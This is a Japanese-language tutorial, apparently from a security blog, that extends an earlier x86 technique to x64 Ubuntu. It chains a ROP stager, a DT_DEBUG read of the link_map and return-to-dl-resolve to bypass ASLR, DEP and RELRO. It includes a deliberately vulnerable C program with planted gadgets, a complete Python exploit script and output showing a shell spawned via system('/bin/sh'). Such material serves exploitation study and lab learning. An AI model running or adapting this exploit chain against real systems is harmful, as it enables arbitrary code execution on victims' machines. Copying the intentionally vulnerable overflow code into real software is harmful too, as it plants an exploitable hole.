x64でROP stager + Return-to-dl-resolve + DT_DEBUG readによるASLR+DEP+RELRO回避をやってみる
「ROP stager + Return-to-dl-resolve + DT_DEBUG readによるASLR+DEP+RELRO回避」では、x86環境かつASLR+DEP+RELROが有効な条件下でlibcバイナリに依存しないシェル起動を行った。 ここでは、x64環境のもとで同様の方法によるASLR+DEP+RELRO回避をやってみる。
環境
Ubuntu 12.04 LTS 64bit版
$ uname -a Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
まず、スタックバッファオーバーフローを起こせるコードを書く。 このコードは、「x64でROP stager + Return-to-dl-resolveによるASLR+DEP回避をやってみる」で使ったものと同じである。
/* bof.c */
#include <unistd.h>
int main()
{
char buf[100];
int size;
/* pop rdi; ret; pop rsi; ret; pop rdx; ret; */
char cheat[] = "\x5f\xc3\x5e\xc3\x5a\xc3";
read(0, &size, 8);
read(0, buf, size);
write(1, buf, size);
return 0;
}
このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。 また、このコードではrdi、rsi、rdxの各レジスタをpopするROP gadgetを意図的に埋め込んでいる。 実際は、実行ファイルのバイナリ中にこれらのgadgetがないか探す必要がある。
ASLR、DEP、RELRO有効、SSP無効でコンパイルし実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gcc -fno-stack-protector -Wl,-z,relro,-z,now bof.c $ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out AAAA
エクスプロイトコードを書いてみる
x86環境でのDT_DEBUG readおよびx64環境でのReturn-to-dl-resolveをもとに、エクスプロイトコードを書くと次のようになる。
# exploit.py
import sys
import struct
from subprocess import Popen, PIPE
bufsize = int(sys.argv[1])
addr_dynsym = 0x00000000004002b8 # readelf -S a.out
addr_dynstr = 0x0000000000400330 # readelf -S a.out
addr_relplt = 0x00000000004003b8 # readelf -S a.out
addr_plt = 0x0000000000400420 # readelf -S a.out
addr_bss = 0x0000000000601010 # readelf -S a.out
addr_plt_read = 0x400440 # objdump -d -j.plt a.out
addr_plt_write = 0x400430 # objdump -d -j.plt a.out
addr_dt_debug = 0x600ea0 # objdump -s -j.dynamic a.out (DT_DEBUG = 0x15)
addr_pop_rdi = 0x0040054f # 0x0040054f: pop rdi ; ret ; (1 found)
addr_pop_rsi = 0x00400551 # 0x00400551: pop rsi ; ret ; (1 found)
addr_pop_rdx = 0x00400557 # 0x00400557: pop rdx ; ret ; (1 found)
addr_pop_rbp = 0x00400512 # 0x00400512: pop rbp ; ret ; (3 found)
addr_leave_ret = 0x004005a6 # 0x004005a6: leave ; ret ; (1 found)
stack_size = 0x800
base_stage = addr_bss + stack_size
size_bulkread = 0x800
buf1 = 'A' * bufsize
buf1 += 'A' * (8-len(buf1)%8)
buf1 += 'AAAAAAAA' * 2
buf1 += struct.pack('<Q', addr_pop_rdi)
buf1 += struct.pack('<Q', 0)
buf1 += struct.pack('<Q', addr_pop_rsi)
buf1 += struct.pack('<Q', base_stage)
buf1 += struct.pack('<Q', addr_pop_rdx)
buf1 += struct.pack('<Q', 1000)
buf1 += struct.pack('<Q', addr_plt_read)
buf1 += struct.pack('<Q', addr_pop_rbp)
buf1 += struct.pack('<Q', base_stage)
buf1 += struct.pack('<Q', addr_leave_ret)
p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)
p.stdin.write(struct.pack('<Q', len(buf1)))
p.stdin.write(buf1)
print "[+] read: %r" % p.stdout.read(len(buf1))
buf2 = 'AAAAAAAA'
# read dt_debug
addr_esp = base_stage + 8
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', 1)
buf2 += struct.pack('<Q', addr_pop_rsi)
buf2 += struct.pack('<Q', addr_dt_debug)
buf2 += struct.pack('<Q', addr_pop_rdx)
buf2 += struct.pack('<Q', 8)
buf2 += struct.pack('<Q', addr_plt_write)
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', 0)
buf2 += struct.pack('<Q', addr_pop_rsi)
buf2 += struct.pack('<Q', addr_esp + 8*17)
buf2 += struct.pack('<Q', addr_pop_rdx)
buf2 += struct.pack('<Q', 8)
buf2 += struct.pack('<Q', addr_plt_read)
# read r_debug and link_map
addr_esp += 8*14
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', 1)
buf2 += struct.pack('<Q', addr_pop_rsi)
buf2 += 'AAAAAAAA' # addr_r_debug
buf2 += struct.pack('<Q', addr_pop_rdx)
buf2 += struct.pack('<Q', size_bulkread)
buf2 += struct.pack('<Q', addr_plt_write)
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', 0)
buf2 += struct.pack('<Q', addr_pop_rsi)
buf2 += struct.pack('<Q', addr_esp + 8*17)
buf2 += struct.pack('<Q', addr_pop_rdx)
buf2 += struct.pack('<Q', 8)
buf2 += struct.pack('<Q', addr_plt_read)
# read link_map_lib
addr_esp += 8*14
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', 1)
buf2 += struct.pack('<Q', addr_pop_rsi)
buf2 += 'AAAAAAAA' # addr_link_map_lib
buf2 += struct.pack('<Q', addr_pop_rdx)
buf2 += struct.pack('<Q', 40)
buf2 += struct.pack('<Q', addr_plt_write)
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', 0)
buf2 += struct.pack('<Q', addr_pop_rsi)
buf2 += struct.pack('<Q', addr_esp + 8*17)
buf2 += struct.pack('<Q', addr_pop_rdx)
buf2 += struct.pack('<Q', 8)
buf2 += struct.pack('<Q', addr_plt_read)
# read link_map_lib2
addr_esp += 8*14
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', 1)
buf2 += struct.pack('<Q', addr_pop_rsi)
buf2 += 'AAAAAAAA' # addr_link_map_lib2
buf2 += struct.pack('<Q', addr_pop_rdx)
buf2 += struct.pack('<Q', 40)
buf2 += struct.pack('<Q', addr_plt_write)
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', 0)
buf2 += struct.pack('<Q', addr_pop_rsi)
buf2 += struct.pack('<Q', addr_esp + 8*17)
buf2 += struct.pack('<Q', addr_pop_rdx)
buf2 += struct.pack('<Q', 8)
buf2 += struct.pack('<Q', addr_plt_read)
# read lib_dynamic and lib_gotplt
addr_esp += 8*14
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', 1)
buf2 += struct.pack('<Q', addr_pop_rsi)
buf2 += 'AAAAAAAA' # addr_lib_dynamic
buf2 += struct.pack('<Q', addr_pop_rdx)
buf2 += struct.pack('<Q', size_bulkread)
buf2 += struct.pack('<Q', addr_plt_write)
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', 0)
buf2 += struct.pack('<Q', addr_pop_rsi)
buf2 += struct.pack('<Q', addr_esp + 8*17)
buf2 += struct.pack('<Q', addr_pop_rdx)
buf2 += struct.pack('<Q', 8)
buf2 += struct.pack('<Q', addr_plt_read)
# overwrite dt_versym
addr_esp += 8*14
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', 0)
buf2 += struct.pack('<Q', addr_pop_rsi)
buf2 += 'AAAAAAAA' # addr_dt_versym
buf2 += struct.pack('<Q', addr_pop_rdx)
buf2 += struct.pack('<Q', 8)
buf2 += struct.pack('<Q', addr_plt_read)
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', 0)
buf2 += struct.pack('<Q', addr_pop_rsi)
buf2 += struct.pack('<Q', addr_esp + 8*16)
buf2 += struct.pack('<Q', addr_pop_rdx)
buf2 += struct.pack('<Q', 16)
buf2 += struct.pack('<Q', addr_plt_read)
# call dl_resolve
addr_esp += 8*14
addr_reloc = addr_esp + 48
align_reloc = 0x18 - ((addr_reloc-addr_relplt) % 0x18)
addr_reloc += align_reloc
addr_sym = addr_reloc + 24
align_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18)
addr_sym += align_dynsym
addr_symstr = addr_sym + 24
addr_cmd = addr_symstr + 7
reloc_offset = (addr_reloc - addr_relplt) / 0x18
r_info = (((addr_sym - addr_dynsym) / 0x18) << 32) | 0x7
st_name = addr_symstr - addr_dynstr
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', addr_cmd)
buf2 += 'AAAAAAAA' # addr_dl_resolve
buf2 += 'AAAAAAAA' # addr_link_map
buf2 += struct.pack('<Q', reloc_offset)
buf2 += 'AAAAAAAA'
buf2 += 'A' * align_reloc
buf2 += struct.pack('<Q', addr_bss) # Elf64_Rela
buf2 += struct.pack('<Q', r_info)
buf2 += struct.pack('<Q', 0)
buf2 += 'A' * align_dynsym
buf2 += struct.pack('<I', st_name) # Elf64_Sym
buf2 += struct.pack('<I', 0x12)
buf2 += struct.pack('<Q', 0)
buf2 += struct.pack('<Q', 0)
buf2 += 'system\x00'
buf2 += '/bin/sh <&2 >&2\x00'
buf2 += 'A' * (1000-len(buf2))
p.stdin.write(buf2)
data = p.stdout.read(8)
addr_r_debug = struct.unpack('<Q', data)[0]
print "[+] addr_r_debug = %x" % addr_r_debug
p.stdin.write(struct.pack('<Q', addr_r_debug))
data = p.stdout.read(size_bulkread)
addr_link_map = struct.unpack('<Q', data[8:16])[0]
offset = addr_link_map - addr_r_debug
addr_link_map_lib = struct.unpack('<Q', data[offset+24:offset+32])[0]
print "[+] addr_link_map, addr_link_map_lib = %x, %x" % (addr_link_map, addr_link_map_lib)
p.stdin.write(struct.pack('<Q', addr_link_map_lib))
data = p.stdout.read(40)
addr_link_map_lib2 = struct.unpack('<Q', data[24:32])[0]
print "[+] addr_link_map_lib2 = %x" % addr_link_map_lib2
p.stdin.write(struct.pack('<Q', addr_link_map_lib2))
data = p.stdout.read(40)
addr_lib_dynamic = struct.unpack('<Q', data[16:24])[0]
print "[+] addr_lib_dynamic = %x" % addr_lib_dynamic
p.stdin.write(struct.pack('<Q', addr_lib_dynamic))
data = p.stdout.read(size_bulkread)
addr_lib_gotplt = struct.unpack('<Q', data.split('\x03\x00\x00\x00\x00\x00\x00\x00')[1][:8])[0]
offset = addr_lib_gotplt - addr_lib_dynamic
addr_dl_resolve = struct.unpack('<Q', data[offset+16:offset+24])[0]
print "[+] addr_lib_gotplt, addr_dl_resolve = %x, %x" % (addr_lib_gotplt, addr_dl_resolve)
p.stdin.write(struct.pack('<Q', addr_link_map+0x1c8))
p.stdin.write(struct.pack('<Q', 0))
p.stdin.write(struct.pack('<QQ', addr_dl_resolve, addr_link_map))
p.wait()
このコードは、オーバーフローさせるバッファのサイズを引数に取る。 コードの内容を簡単にまとめると次のようになる。
- read@plt関数を使い固定アドレスにデータを読み込み、pop ebp + leave retによるstack pivotを行う
- DT_DEBUG readにより、実行ファイルのlink_map構造体
lおよび_dl_runtime_resolve関数のアドレスを取得する l->l_info[VERSYMIDX (DT_VERSYM)]の値をNULLに書き換えた上で、Return-to-dl-resolveを行いsystem関数を呼び出す
また、ここでは実行ファイルのlink_map構造体から双方向リストを2回進めた先のライブラリについて、GOTセクションを読んでいる。 これは、1回進めた先のライブラリがlinux-vdso.soであり、これには_dl_runtime_resolve関数のアドレスが入っていないためである。 この双方向リストにおけるライブラリの並びは、lddコマンドによっても確認できる。
$ ldd a.out
linux-vdso.so.1 => (0x00007fff36799000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fec74b4d000)
/lib64/ld-linux-x86-64.so.2 (0x00007fec74f16000)
引数をセットし実行してみる。
$ python exploit.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Q\x05@\x00\x00\x00\x00\x00\x10\x18`\x00\x00\x00\x00\x00W\x05@\x00\x00\x00\x00\x00\xe8\x03\x00\x00\x00\x00\x00\x00@\x04@\x00\x00\x00\x00\x00\x12\x05@\x00\x00\x00\x00\x00\x10\x18`\x00\x00\x00\x00\x00\xa6\x05@\x00\x00\x00\x00\x00' [+] addr_r_debug = 7f3cb1e212a0 [+] addr_link_map, addr_link_map_lib = 7f3cb1e212c8, 7f3cb1e21858 [+] addr_link_map_lib2 = 7f3cb1e1e4c0 [+] addr_lib_dynamic = 7f3cb1bf5b40 [+] addr_lib_gotplt, addr_dl_resolve = 7f3cb1bf5fe8, 7f3cb1c12200 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
x86環境の場合と同様の方法により、x64環境かつASLR+DEP+RELROが有効な条件下でlibcバイナリに依存せずシェルが起動できていることが確認できた。